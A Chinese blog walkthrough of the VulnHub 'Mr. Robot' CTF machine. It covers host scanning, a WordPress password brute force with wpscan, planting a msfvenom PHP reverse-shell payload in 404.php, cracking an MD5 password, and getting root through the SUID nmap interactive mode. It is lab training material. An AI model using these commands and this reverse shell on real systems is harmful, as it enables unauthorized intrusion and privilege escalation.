靶机说明:

靶机主题来自美剧《黑客军团》

本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限。

渗透过程:

本次靶机已经导入VM,采用的是桥接模式,

攻击机用的是parrot linux+windows10,攻击机IP为:192.168.0.104

由于在同一网段内,我们用nmap找出靶机IP地址:
nmap -sP 192.168.0.0/24

得到靶机IP地址为:192.168.0.107

我们用nmap对靶机IP进行信息探测:

nmap -sV -O 192.168.0.107

发现开了22,80,443端口

我们访问靶机 http://192.168.0.107 主页:

发现是linux的命令输入框,最后那个#差点让我认为是root权限,查看源代码也没有什么有用的信息

我们先用dirb来跑一下目录,渗透之前,准备工作要做好:

dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt

发现好多目录,还有许多敏感的目录,比如 robots.txt,

看到还有 /wp-admin,/wp-content 这些目录,这不是wordpress的系统架构吗,推测靶机应该是

wordpress搭建的博客,还有一些其他目录  /intro,/

emmm...似乎有点混乱,我们用dirsearch.py脚本通过筛选再来扫一遍:

这样就清楚多了,我们先来访问robots.txt:

我好像看见了key-1-of-3.txt,这或许就是那1/3flag,同时我们还发现一个目录,

我们先访问这个key:

这个像是key的MD5哈希值,但是不好破解...

我们再访问同时出现的这个目录 fsocity.dic:

我们下载并打开:

这给我的感觉...完全是一个字典文件啊...

不过太多,并且很多重复,我们删除一下重复项:

这个字典水分有点大,浓缩过后才11451条,

我们先不急着爆破,既然它是wordpress,kal等工具自带的wpscan完全可以用

来扫出漏洞,我们先来枚举用户:

....连用户名都没有扫出来

我们看这个博客的登陆页面,也就是 /wp-login

我们尝试用admin/admin888登陆:

虽然没有登录成功,但是错误提示是 :ERROR: Invalid username.

提示无用的用户名,应为之前本地搭建过wordpress,所以用户名正确,

密码不对时,页面会回显:ERROR: The pssword you entered for the username

我们现在手里也有一个之前下载编辑好的字典文件:fsocity_filtered.txt

我们或许写一个python脚本根据页面回显,来判断用户名是否正确:

我们运行脚本,到时候会输出用户名:

根据python脚本的运行结果,我们发现用户名为 elliot

现在我们需要获得密码,我们用wpscan使用相同的字典爆破:

wpscan --url http://192.168.0.107 --wordlist=/home/bmjoker/fsocity_filtered.txt --username elliot --threads  20

成功得到用户名跟密码:  elliot/ER28-0652

我们尝试登陆wordpress:

并且顺带查看了这个用户的权限:

Administrator...权限够大的啊,对付wordpress,在我以前写的渗透测试案例有过总结,

感兴趣的小伙伴可以翻下之前的,这里通过修改Appearance -> Editor -> 404.php来得到shell:

先用mafvenom生成一个php马:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f raw -o payload.php

然后将生成的payload.php直接覆盖404.php:

然后再kali设置监听IP,端口:

然后我们随便访问一个不存在的页面来触发这个shell,比如我们访问:

http://192.168.0.107/123456

我们查看一下监听:

成功监听!!!我们切换shell窗口

我们下一步的任务就是提权并找到key:

我们在目录搜索中,找到了key-2-of-3.txt:

查看的时候,被权限给拦住了,不过同目录下还有个 password.raw-md5,得到了:

robot:c3fcd3d76192e4007dfb496cca67e13b

感觉像是一个用户名和一个md5哈希密码,尝试解密:

得到密码为:abcdefghijklmnopqrstuvwxyz

我们尝试登陆robot这个用户来查看key:

必须运行在一个终端中,这表明我们没有正确的shell运行...

我们直接用 python -c 'import pty; pty.spawn("/bin/bash")'

来模拟一个终端,来su robot  :

成功得到第二个key,

从上面的key,我估计我们必须用root权限才能得到第三个key,

我尝试了一些常规的提权方法,找了一些exploitDB的漏洞,但这些都没有用

我们尝试从有root权限的进程入手:

(这是关于这个靶机的典型提权案例nmap:https://blog.csdn.net/yaofeino1/article/details/62897259

对linux中SUID标识位的理解:

我们执行shell命令实际上是对应于某个二进制的可执行文件或者可执行的脚本,通常以提交这个命令的用户的权限运行,但是有的命令执行过程要往某个文件中写入一些东西。比如某个不具有root权限的用户想要修改自己的密码,他就要修改/etc/passwd文件,但是我们查看一下passwd的权限设置就知道passwd文件对于普通用户而言不具有写的权限,这样可以防止普通用户更改别人或者root的密码,但是他总该可以更改自己的密码吧,这点权限还是应该有的,你想到什么好的方法可以解决这个问题吗?

这就要说道linux中的SUID标志位,它可以把一个文件设置为这样的访问权限:普通用户只有在执行特定命令(入passwd 更改密码)时,才可以更改或者写入文件(如/etc/passwd),也就相当于只可以在受保护的文件的特定部分可以写入(如passwd中的自己的密码那部分),这样就很好的解决了保护重要的文件的同时又可以在特定的情况下让普通用户更改该文件。

如果大致理解的话我们继续:

我们搜索标识位SUID为root的文件:

(linux提权命令详解:https://blog.csdn.net/qk1992919/article/details/51381644

find / -user root -perm -4000 2>/dev/null

通过截图,我们发现nmap居然有SUID标志位,来看看nmap版本

一个非常老的nmap版本,但是这个版本的nmap如何帮我们提权呢?

经过大量的谷歌搜索后,发现nmap支持“interactive.”选项,用户能够

通过该选项执行shell命令,通常,安全人员会使用该命令来避免他们

使用nmap命令被记录在history文件中:

我们成功的到最后一个key,任务完成!

 总结:

1.使用 python -c ‘import pty; pty.spawn(“/bin/bash”)’ 可以获得一个稳定的shell,这个在实际渗透中用处也很大。

2.学习多种提权方式,包括本节的nmap老版本提权,在下一节还会介绍别样的提权。

3.wordpress有很多获得shell的方法,不只是修改404脚本,还可以通过修改插件来getshell,不懂的话看我以前的测试案例。

4.还是多动手实践,靶场来自于vulnhub,大家有兴趣自己尝试一下

19. CTF综合靶机渗透(十二)的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  4. 23. CTF综合靶机渗透(十六)

    靶机说明: VM Name: JIS-CTF : VulnUpload Difficulty: Beginner Description: There are five flags on this m ...

  5. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  6. 9. CTF综合靶机渗透(二)

    靶机说明 Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors. 欢迎来到酸的世界. ...

  7. 13. CTF综合靶机渗透(六)

    靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...

  8. 20. CTF综合靶机渗透(十三)

    靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...

  9. 14. CTF综合靶机渗透(七)

    靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...

随机推荐

  1. 20145229吴姗珊两天小总结 《Java程序设计》第4周学习总结

    20145229吴姗珊两天小总结 <Java程序设计>第4周学习总结 教材学习内容总结 由于自己的基础不好对知识的理解不透彻,所以这两天的学习还是集中在第六章和第七章,对知识点多了一点理解 ...

  2. apache下配置多域名多目录的应用

    引言:阿里云centos apache web服务器中配置不同域名访问不同的目录,达到类似增加虚拟主机的效果: 案例: 如有2个www.a.com ,www.b.com 域名, 访问www.a.com ...

  3. JSP嵌入ueditor、umeditor富文本编辑器

    一.下载: 1.什么是富文本编辑器?就是: 或者是这个: 其中第一个功能比较详尽,其主要用来编写文章,名字叫做udeitor. 第二个就相对精简,是第一个的MINI版,其主要用来编辑即时聊天或者发帖, ...

  4. SpringCloud之客户端连接Eureka集群

    客户端分别yml: ###服务启动端口号 server: port: 8002 ###服务名称(服务注册到eureka名称) spring: application: name: app-toov5- ...

  5. LINQ 学习路程 -- 查询操作 Select, SelectMany

    IList<Student> studentList = new List<Student>() { , StudentName = "John" }, , ...

  6. Hadoop- Hadoop运维小计

    如果是新添加一个节点,需要执行以下步骤: 首先,把新节点的 IP或主机名 加入主节点(master)的 conf/slaves 文件. 然后登录新的从节点,执行以下命令: $ cd Hadoop_pa ...

  7. 数据分析第三篇:Numpy知识点

    Numpy 将字符型数据转为datetime import numpy as np f = np.array([','2019-01-01','2019-01-02 01:01:01']) # 把f数 ...

  8. Django 文件下载功能

    def file_download(request): con= MySQLdb.connect(host='192.168.xxx.xxx',user='root',passwd='xxxx',db ...

  9. Selenium-webdriver基本操作1

    #! /usr/bin/env python #coding=utf-8 from selenium import webdriver import time print("====浏览器最 ...

  10. 关于MFC消息的总结

    一.MFC的消息类型 MFC的消息类型大致可以分为三种: 1.命令消息.由菜单和工具栏或快捷键产生,以WM_COMMAND形式发出(以WM_COMMAND发出的还有很多控件,如Button等,但它们产 ...